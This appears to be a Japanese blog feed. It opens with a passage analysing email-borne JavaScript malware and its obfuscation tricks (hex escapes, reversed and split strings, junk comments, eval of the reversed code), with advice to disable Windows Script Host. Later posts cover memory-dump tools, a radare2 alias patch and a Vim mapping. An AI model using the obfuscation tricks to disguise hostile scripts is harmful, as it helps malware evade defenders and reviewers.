人が読める程度ではあるが,いくつか難読化が施されている.以下では見かけたテクニックを並べていく.

難読化テクニック

コメント

とりあえずどこにでも/* Zg */や/ EE Hz /`といったコメントを挟む.地味に読みにくい.
置換して消した.

関係のない命名規則

プログラムの内容と全く関係のない関数・変数名にする.命名規則DENMARKなどの地名やchristopherの人名,bbbbbbbbbbbbbbbbbの意味なしと多岐にわたる.
地名や人名は勉強になる.変数は文字列を格納して,その後いじらないことものが多かったから,そういうやつだけ格納した文字列に置換すると良い.

バイトの挿入

文字列GETを"G\x45T"と16進を挟む. 他のやつから想像するか,console.logすると良い.

分割

バイトの挿入と組み合わせて使われることが多い.send"s"+"en"+"d"とする.素直に書いて欲しい.

逆順

"sgnirtStnemnorivnEdnapxE".split('').reverse().join('')と読み手には逆に見えるように書く.

大量の無意味な文字

上の例であげたコードでは/が1048574byte書かれている.
Windowsのメモ帳とかで開いたなら苦労したと思う.Vimで開けばCtrl+Fとかで飛ばせる.

配列によるカムフラージュ

("@sdf3asdf ", "adfs3.", " R")+ "u" + ("x", "n")
と一見複雑は配列になっているが,意味があるのは,各()の一番最後の要素だけ.上の例だと,"Run"になる.割と悪質.

素直じゃない計算

aaa=2と書けば済むところをaaa=(4714-4712) * 1とする.これをif (aaa==2)と利用する.

wsfファイル

Windowsスクリプトファイル(wsf)形式になっているものもあるが,内容は<job><script language="JScript">...[".js"と同じ内容]...</script/></job>とJS版と変わらない.

コード全体の難読化

上のテクニックをひと通り使ったコードを改行なし,見かけ逆順になるようにして,eval(<value>);する. 解析にひと手間必要になる.

マルウェアの難読化

ダウンロードされるマルウェアをバイトデータを逆順にし,0xffなどでXORしたものもあった.

結論と対処法

怪しいメールに添付されているファイルは解凍まではして良いが,実行・開いては駄目だというのが今回の結論.
JavaScriptコード内で使われているWScriptはWindowsのデフォルトで有効になっているから,マルウェアをダブルクリックしてしまえば,相手の環境がWindos7,8,恐らく10であろうとマルウェア本体を落としてきて実行という目的を果たせる.
そもそもWScriptが実行できなければとりあえずこのタイプに関しては良いので,無効にすればとりあえず防止できる.
だからといって気軽に実行して良い理由にはならないので,ちゃんと仮想環境で実行すること.
WScriptの無効化は

1. コントロールパネルを開く
2. アプリケーションの追加と削除
3. 「Windowsファイル」タブ
4. 「アクセサリ」の「Windows Scripting Host」のチェックを外す.

もう少し過激な方法としては実行する本体プログラムのWSCRIPT.EXE, CSCRIPT.EXEを削除する.

終わりに

現実で攻撃してくる奴らがどんな方法をとっているかの勉強になった. 読み方がわからないほどえげつない難読化に出会わなかったのは少し残念.
今回は予備調査の段階でWindows向けのJavascriptとわかったから解析できた.
もし,$ unzip -lの段階でやばいと感じたり,手に負えないと思ったらすぐに解析を諦めることが個人的な解析の重要なところだと思う.
感染する力は強いが,そもそも.jsって書いてあるのにわざわざ開くやついるのか・・・?

参考

Symantec Security Response - Windows Scripting Host(WSH)を無効にする方法

スクリプトファイルの無効化方法 js&wsf拡張子のウイルス対策3つで感染攻撃回避 ( Windows ) - 無題な濃いログ - Yahoo!ブログ

メモリダンプについてのまとめ

このエントリで紹介したコマンドの一部は高確率でOSがクラッシュします.行う際は自己責任でお願いします.
マルウェア解析に使われるメモリダンプはどのように作成されるのかを調べたメモを書き残す.
結論として,Windowsはやり方が多い(設定をいじってからOSをクラッシュさせる,キーボードやスイッチから割り込みをかける,ツールを使う).Linuxgrub(RHELのみ)の設定をいじる,ツールを使うことで取得できる.macについてはほとんど調べていないが,一部ツールは対応していた.いずれの方法でもOSがクラッシュした時と同等の影響がある.
注意点としてはメモリダンプツールとして公開されているプログラムの一部に現在は使えなさそうなものもあった.調べるだけでやる気が尽きたので,具体的な使い方までは網羅できていない.

疑問

 近年のマルウェアは物理メモリにのみ存在し,電源が切れると一緒に本体も消えてしまうタイプがいる.高度なものになると,これに加えて自身をunlinkし,プロセス一覧から隠れる場合もあると聞いたことがある(専門ではないから,詳しくはわからない).
この場合,解析には感染したPCをネットワークから隔離した後すぐに電源を切らずに物理メモリの全内容をダンプする必要がある. これについて,以下の点を疑問に思い,調べてみることにした.

  • 一体どうやってダンプを取得するのか.
  • OSがクラッシュした時にダンプ(Linuxではコアファイル)が作成されるが,普段仕事しているOSが動かないのに,誰がダンプを作成しているのか.

メモリダンプについて

種類

  • 最小メモリダンプ
     最重要な情報のみ保存(Stopメッセージ・パラメータ,停止したスレッドのカーネルモード呼び出しの履歴など).障害発生時に実行されていたスレッドが直接の原因でないエラーは発見できないことがある.
  • カーネルメモリダンプ
     カーネルメモリのみの記録.ユーザプロセスの情報は記録しないため,カーネルで障害が起こっていない時は原因を究明できない.
  • 完全メモリダンプ
     システムメモリの全内容を記録.メモリダンプを取るなら,これが推奨されている.当然ながら,メモリサイズ以上の大きさ(メモリサイズ+各種情報)になるため,ストレージの空きに注意.
    今回は完全メモリダンプの取得に着目する.

フォーマット

メモリダンプのフォーマットは以下の通り.恐らく他にもあるが,ここでは解析ツールvolatilityでサポートしているものを挙げる.
- Raw linear sample (dd)
- Hibernation file (from Windows 7 and earlier)
- Crash dump file
- VirtualBox ELF64 core dump
- VMware saved state and snapshot files
- EWF format (E01)
- LiME (Linux Memory Extractor) format
- Mach-O file format
- QEMU virtual machine dumps
- Firewire
- HPAK (FDPro)

Windows

詳しいサイトが多数あるため,ここでは簡単に書く.詳しいことは参考サイトを確認すること.
どの方法でもブルースクリーンが発生するため,実験するときは重要なデータのセーブは必要.

Windows(7を想定)

  • 基本的な方法
    ・OSクラッシュ時に作成されるようにする
    ・手動による作成
     > NMIによる作成(キーボードなどが全く使えない時の最終手段)
     > キーボードによる作成
    詳しくは参考サイトを読むといいが,基本的な方法を簡単に書き残しておく.

1. スタートをクリック
2. 「コンピュータ」で右クリックし, 「プロパティ」を選択
3. 「システムのプロパティ」ウィンドウの詳細設定タブの一番下の「起動と回復」項目の「設定」をクリック
4. 「起動と回復」ウィンドウの「デバッグ情報の書き込み」でドロップダウンメニューから「完全メモリダンプ」を選択し,OKをクリック
5. 再起動

保存先は「デバッグ情報の書き込み」にある「ダンプファイル」で指定することができる.デフォルトは%SystemRoot%MEMORY.DMPに保存される. 詳しくは
技術/Windows/メモリダンプ取得方法メモ - Glamenv-Septzen.net
https://blogs.technet.microsoft.com/askcorejp/2014/08/10/339/
を参照.
前者はXPなどにも使える方法が書いてあり,後者のMicrosoftサポートは2014年の記事であるから,Windows8.1(2013)まで有効だと思う.どちらも多くのやり方が書いてある. 最初にも述べたが,どちらにせよブルースクリーンになることは確定なので,データの保存は重要.

Linux

実装で/dev/mem, /dev/kmemから読みだしているプログラムはカーネルの2.6系まででしか動作が保証されていない.これ以降は/dev/(k)memでアクセスできるアドレスが制限されている.
2.6系という区切りで動作が保証されているのは,2003年に2.6から3.0へカーネルのメジャーバージョンアップがあったからのようだ.
Security/Features - Ubuntu Wiki」には,Ubuntuの特色が書いてある.ここに/dev/mem protectionという項目がある.
現在のUbuntuでは/dev/(k)memからの完全メモリダンプ取得は望め無さそうだ.
この機構が適用されたのはBlackhat2009の発表(https://www.blackhat.com/presentations/bh-europe-09/Lineberry/BlackHat-Europe-2009-Lineberry-code-injection-via-dev-mem.pdf)にあるように,物理メモリにアクセスできるなら書き換えもできるよなってことのようだ.

/dev/(k)memを使っているツール群(ご利用は計画的に・・・)

実験した環境は4.5系だが,使うたびにOSがクラッシュした.こいつらの名前をきっと忘れない.

$ uname -r
4.5.0-1-ARCH

memdump

source: memdump 1.01-6, memdump_8c-source.html
$ sudo pacman -S memdump
でインストールできるやつ.
$ sudo memdump-kernel > test.dmp
でメモリダンプを作成できる.
ある程度ダンプできたところでクラッシュする.OSの実行しているコード部のコピーで競合かなんかが起きているのかな・・・

draugr

Google Code Archive - Long-term storage for Google Code Project Hosting.
pythonで実装されている.以上.

使えそうなやつ

/proc/kcoreから情報を取得するか,カーネルの機能を使うタイプが主流になっているようだ./proc/kcoreにはメモリ情報がELF形式で保存されている.64bitOSの場合,これのサイズが

$ ls -hl /proc/kcore
-r-------- 1 root root 128T Apr 22 23:11 /proc/kcore

と非常に大きい.これは64bitで取り扱える最大サイズを指しているらしい.ここからどうやって取得するのかがまだもやっとしている.情報募集中.
以下のツール群は調べるだけでやる気が尽きて,実際に試していないから,各ドキュメントをよく読んで欲しい.

LiME(Linux Memory Extractor)

https://github.com/504ensicsLabs/LiME
volatilityで推奨されているメモリダンプ作成ツールLinuxカーネルモジュールとして実装されている.
ネットワーク越しにダンプを作成することも可能なようだ.同じホスト上でダンプを作成するときはlocalhostとするだけ.

Pmem

Rekall Memory Forensic Framework
ダンプ解析ツールrekallが提供するメモリダンプツールLinux, Windows, Macすべてで使えるできる凄腕.
モジュールとしてロードすることで使えるようだ.

Grub(RedHat系のみ)

grub.confcrashkernel=auto を書くと良いらしい.
kcore, crach, yum install kexec-toolsで検索.

その他

memfetch

[lcamtuf.coredump.cx]
/proc/<pid>/mapsから情報を取得している.メモリ全体というよりはプロセスごとのメモリを取得できる.
GDBなら,

$ gdb
(gdb) attach <pid>
(gdb) gcore <output>.dmp
(gdb) detach
(gdb) quit

で同じようなことができそう.gdbコマンドで得られるのはコアファイルでELF形式.

仮想マシン

Qemu, XenVMwareVirtualboxなど,仮想マシン上なら完全なメモリダンプを取得することができるから楽ってどっかに書いてあった.

メモリダンプ解析ツール

現在簡単に使えそうなツールは以下の通り.

volatility

The Volatility Foundation - Open Source Memory Forensics
Blackhat2007で発表されたツール.ダンプ解析で万能そう.
公式サイトには最もよく使われているツールと書いてある.本当かどうかは知らない.これを入れておけば困ることはなさそうだ.
メモリダンプ取得機能提供していないから,LiMEを使ってくれと公式のドキュメントに書いてある.しかし,ソースの中にgetkcore.cとかいうプログラムがあったりする.これは/dev/kcoreから読み出す単純なプログラムなので,動きそう.提供しているじゃないかというツッコミは置いておく.

rakall

Rekall Memory Forensic Framework
前述のvolatilityから独立したプロジェクト. これはメモリダンプ取得機能を提供している.Pmemはこいつが提供する機能の一つ.
特徴はメモリダンプに関することを全て行えること.
プラグインで機能拡張が容易に行える柔軟仕様だが,それ故プラグインが多すぎるのが悩みらしい.
当然ながら,ソースコードvolatilityとかぶっている箇所が多い.

終わりに

様々なプログラムが乱立していて,混沌としていることがわかった.
ダンプを作成しているのは,カーネルっぽい.
メモリダンプ関係のプログラムを組むときにはカーネルについて調査すればもうちょい何か出てきそう.やる気が出たら実際にダンプを作成して,解析までやってみたい.Pmemでダンプ取得して,volatilityで解析なんてひねくれるのも一興か.
/proc/kcoreの使い方や,実装のもっと深いところでの取得方法についてはまだ調べ尽くせていない.この疑問を解消する日が来るようやる気が出るまで忘れないようにしたい.
rekalltools/linux/lmap/logtools/osx/MacPmem/Common/logging.cppにはエラーレベルによるログの出力が実装されている.聞いたことはあったが,実際に見たのは初めてで感動した.今後の実装で使ってみたい.

参考サイト

/dev/kcoreが大きすぎる理由: /proc/kcore is 131072.0 GB / Newbie Corner / Arch Linux Forums

Linuxメモリダンプ作成: Linuxでのメモリダンプの取得 - higefoxの公開メモ

メモリダンプの種類,取得・圧縮: 完全メモリダンプを設定する方法

MSによるメモリダンプの作成手引:メモリ ダンプ ファイルを生成する方法について | Ask CORE

ダンプ取得ツール一覧: Top 8 Tools For Linux / Unix Memory Forensics Analysis

radare2のエイリアス機能をソースコードレベルでいじって使いやすくしてみる

 この記事はプログラムのソースコードを書き換えるものです.行う際は自己責任でお願いします.

 radare2エイリアスやマクロを使っていたが,どうにもコマンドを打ちにくいのでソースコードをいじって試行錯誤してみた.マクロ機能をいじるのは大規模な改変になりそうだったため,今回はエイリアスのみをいじることにした.結果エイリアスの識別文字を$からnにすると,比較的使いやすくなったのでそのやり方をまとめておく.
ついでに,改変後のエイリアス機能を利用した動的解析用エイリアスも紹介する.作成したエイリアスPedaを使ったGDBを意識した.

エイリアス機能

radare2エイリアス機能は以下のように定義・使用することができる.

* 定義
  $dis=`af;pdf`
* 使用
  $dis

詳しくは$?で見ることができる.

問題点

 まず基礎知識として,radare2は最初に機能を大別する文字(今回ならば$)の後に個別のコマンドが続くようになっている.
エイリアス機能は多用するのにタイプしにくい.これは識別文字に$を使っていることが原因であると考えた.
$を入力するShift+4って何回も打つのは苦痛だ,できればアルファベットのどれか,かつShiftを押さないで済ましたい.
ソースコードを読んでみると,$を定義している部分のコメントにはprefix aliases with a dashとあった.英語は苦手だが,とりあえず「dashを参考にしてエイリアスのプレフィックスを$にしました」と理解した(間違っていたらぜひ指摘してください).
恐らく,dashを起動した時に左に出てくる$のことだと思う.dashに固執する特別な意味は感じなかったので変えても問題はないだろうと判断した.
そこで,エイリアス機能の識別子である$を現在コマンドがマッピングされていないnに変更することにした.

準備

 Githubからソースコードをダウンロードする.この記事には関係はないが,Ubuntuaptなどでインストールされるradare2はバージョンが古いので,Githubからのインストールをおすすめしたい.
$ git clone https://github.com/radare/radare2 && cd radare2

編集

 次に,libr/core/cmd.cを以下のように編集する.やってることは,$nに置き換えているだけ.現在マッピングされているコマンドとかぶらなければ良いので,nでなくとも問題はない.他に現在コマンドがマッピングされていない文字はh j vがある(大文字であればもっと存在するが,Shiftを押したくないので今回は考えない).行番号はバージョンによって異なるので,適宜修正すること.

// libr/core/cmd.c
 128 static int cmd_alias(void *data, const char *input) {
 129   int i;
 130   char *def, *q, *desc, *buf;
 131   RCore *core = (RCore *)data;
       // help_msgの'$'を'n'に置き換える
 132   if (*input=='?') {
 133     const char* help_msg[] = {
 134       "Usage:", "nalias[=cmd] [args...]", "Alias commands",
 135       "n", "", "list all defined aliases",
 136       "n*", "", "same as above, but using r2 commands",
 137       "n", "dis='af;pdf'", "create command - analyze to show function",
 138       "n", "test=#!pipe node /tmp/test.js", "create command - rlangpipe script",
 139       "n", "dis=", "undefine alias",
 140       "n", "dis", "execute the previously defined alias",
 141       "n", "dis?", "show commands aliased by 'analyze'",
 142       NULL};
 143       r_core_cmd_help (core, help_msg);
 144     return 0;
 145   }
 ...
       // コマンド解析時の識別文字を変更.ここが要
 149   *buf = 'n';
 ...
       // 何も押さないでEnterした時に前回のコマンドが実行される機能を'n'で動くようにする.
2354 R_API void r_core_cmd_repeat(RCore *core, int next) {
2355   // Fix for backtickbug px`~`
2356   if (core->cmd_depth + 1 < R_CORE_CMD_DEPTH)
2357     return;
2358   if (core->lastcmd)
2359   switch (*core->lastcmd) {
2360   case 'd': // debug
2361     r_core_cmd0 (core, core->lastcmd);
2362     switch (core->lastcmd[1]) {
2363     case 's':
2364     case 'c':
2365       r_core_cmd0 (core, "sr PC;pd 1");
2366     }
2367     break;
2368   case 'p': // print
2369   case 'x':
       // ここを変更.これを忘れると,入力なしの時に前回のコマンドを実行する機能が動かない
2370   case 'n':
2371     if (next) {
2372       r_core_seek (core, core->offset + core->blocksize, 1);

インストール

セーブしたら,
$ sys/install.sh
でインストールできる.
ローカルにインストールしたいときは
$ sys/user.sh
削除は
$ make uninstall && make purge
で行うことができる.

確認

無事インストールが終わったら,反映されているかを確認する.

$ r2 /bin/ls
[0x00404840]> n?
|Usage: nalias[=cmd] [args...]Alias commands
| n                               list all defined aliases
| n*                              same as above, but using r2 commands
| ndis='af;pdf'                   create command - analyze to show function
| ntest=#!pipe node /tmp/test.js  create command - rlangpipe script
| ndis=                           undefine alias
| ndis                            execute the previously defined alias
| ndis?                           show commands aliased by 'analyze'
[0x00404840]> ndis='af;pdf'
[0x00404840]> n*
ndis=af;pdf
[0x00404840]> ndis
/ (fcn) entry0 42
|           0x00404840      31ed           xor ebp, ebp
|           0x00404842      4989d1         mov r9, rdx
|           0x00404845      5e             pop rsi
|           0x00404846      4889e2         mov rdx, rsp
|           0x00404849      4883e4f0       and rsp, 0xfffffffffffffff0
...(snip)...

これでエイリアス機能の識別文字がnになっていることが確認できた. しかし,エイリアスの定義では引数を渡す文字の@を使うことができない.
[0x00404840]> ndis='pd 10@eip
とすると,

[0x00404840]> n*
ndis='pd 10

と途切れてしまう.これはひと手間かけることで解決できる.

[0x00404840]> (test,"",pd 10@eip)
[0x00404840]> ntest=.(test)`  

マクロを定義して,そのマクロのエイリアスを設定している.これで,@問題は解決できる.

デバッグエイリアス

最後に,デバッグでよく使いそうなマクロ・エイリアスを紹介する.一部はradare2bookに載っているものを活用した.これを$HOME/.radare2rcに書いておくと起動時に毎回読み込んでくれる.

// .radare2rc for 32bit
(peda32,"",drr,pd 10@eip,pxr 40@esp)
(stepOut32,"",dso,drr,pd 10@eip,pxw 64@esp)
(stepIn32,"",ds,drr,pd 10@eip,pxw 64@esp)
(outputStack32,"",pxw 64@esp)
nn=.(stepIn32)                              ; GDBでの'si'
ni=.(stepOut32)                             ; GDBでの'ni'
nw=.(outputStack32)                         ; GDBでの'x/20xw $esp'
np=.(peda32)                                ; pedaによる出力に似た何か
ns='do;db main;dc;db- main;np'              ; GDBでの`start'.デバッグ情報が消されている場合は動作しない
nr='do;dc;np'                               ; GDBでの'run'
nc='dc;np'                                  ; GDBでの'continue'
// .radare2rc for 64bit <- この行は書かない
(peda64,"",drr,pd 10@rip,pxr 40@rsp)
(stepOut64,"",dso,drr,pd 10@rip,pxq 64@rsp)
(stepIn64,"",ds,drr,pd 10@rip,pxq 64@rsp)
(outputStack64,"",pxq 64@rsp)

nn=.(stepIn64)
ni=.(stepOut64)
nq=.(outputStack64)
np=.(peda64)
ns='do;db main;dc;db- main;np'
nr='do;dc;np'
nc='dc;np'

コマンド名は最初がnであることが条件.それ以降は自由に変えてよい.

まとめ

とりあえず,これでエイリアス機能が指をあまり動かさずに呼び出せるようになったので楽になった.しばらくはこの設定で使ってみようと思う.
書き換える箇所があれだけで済んだこととソースが読みやすかったことには感動した.機能をひとつのファイル内で完結させる部分とかは今後プログラムを書く上で意識していきたい.
しかし,もっと良い方法がデフォルトでなにかあるんじゃないかなと思いもする.Bookを読んでなにか気づいたらまた書きたい.

参考文献

Radare2Book: https://www.gitbook.com/book/radare/radare2book/details

Vimで簡単なファイルテンプレートを入力するコマンドを作成してみた

プログラムを組むとき,テンプレートを毎回手で入力することが面倒くさくなったので,Vimのショートカットにした.
編集中のファイル名を挿入する方法やレジスタについて勉強したので簡単にまとめておく.

目的

作成したいのは現在編集しているファイルに対して,自分が使っているテンプレートを書き込むだけの簡単なコマンドを実装する.本エントリではC言語向けのものを説明する.
具体的な動作は,編集中のファイルの最初と最後にそれぞれコメントを書き込むだけ.最初のコメント部にはファイル名を自動で書き込む.

Ex: filename.cを編集中の場合
/* filename.c */
<... code ...>
/* E.O.F. */

E.O.F.って手で打つと面倒くさい.

コマンド

最終的には以下を.vimrcに付け加えた.
nmap <silent> ,/ Go/* E.O.F. */<Esc>ggO/* <C-r>% */<CR>
ノーマルモードで,/と打つと実行.特に難しいものでもないから,肝となる部分だけ以下で説明する.

ファイル名の挿入

インサートモードで<C-r>+レジスタとすると,レジスタの内容を挿入することができる.今回はカレントファイル名を格納している%レジスタを使用した.

レジスタ

種類が多いから,少しだけ紹介.
 * 番号付きレジスタ: "0-9レジスタ0はコピー内容,それ以降は1から最新の削除内容が入る.
 * 名前付きレジスタ: "[a-Z]レジスタで明示的に指定することで任意に使える.
 * 消去専用レジスタ: "_レジスタ_ddとするとレジスタ内容に変化を起こさずに削除を行える.
レジスタ"<レジスタ名><コマンド>で使える.具体的にはV"ay"aレジスタに一行を保存し,"apでその内容を書き込める.
レジスタに何が入っているのかの確認は:regで行える.

まとめ

多分プラグインを探せばもっと高機能なものがあるのだろうが,そこまでの機能は求めていないからと軽い気持ちで実装したら思った以上に手間取った.レジスタについてはもっと使いこなせるようになりたい,特に_ddは多用しそうだ.

参考文献

インサートモード時に現在のファイルのフルパスを挿入するmap - YKMbPP
vimのレジスタ - Qiita